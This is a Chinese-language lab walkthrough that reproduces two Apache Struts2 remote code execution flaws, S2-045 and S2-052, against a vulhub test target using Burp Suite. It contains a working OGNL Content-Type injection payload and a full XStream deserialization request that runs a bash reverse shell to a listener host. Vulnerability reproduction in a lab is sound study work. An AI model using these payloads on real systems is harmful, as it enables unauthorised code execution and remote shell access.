struts2框架漏洞

S2-045 远程代码执行漏洞（CVE-2017-5638）

 进入vulhub启动靶场。

 

 使用bp拦截

修改Content-Type:的值为

Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

然后点击go即可实现。

 出现状态码为200，和vulhub出计算结果后，即漏洞复现成功

S2-045专门利用工具，kali上的msf模块

 

 

 

 

 

 

 S2-052 远程代码执行漏洞

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们需要修改Content-Type头为application/xml，即可在Body中传递XML数据，并造成远程代码执行漏洞。

进入vulhub靶场，启动环境

 

 点击edit，使用bp拦截

 

 由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们需要修改Content-Type头为application/xml，即可在Body中传递XML数据。

所以修改如下：

 

POST /orders/3 HTTP/1.1
Host: 192.168.17.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2426
Origin: http://192.168.17.166:8080
Connection: close
Referer: http://192.168.17.166:8080/orders/3/edit
Cookie: JSESSIONID=6CA12C7CB063F6A6EC3FA69E7EFE36B8
Upgrade-Insecure-Requests: 1

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.17.128/8888 0>&amp;1</string>
</command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

 

 

 点击go发送数据包，在物理机上就可以得到结果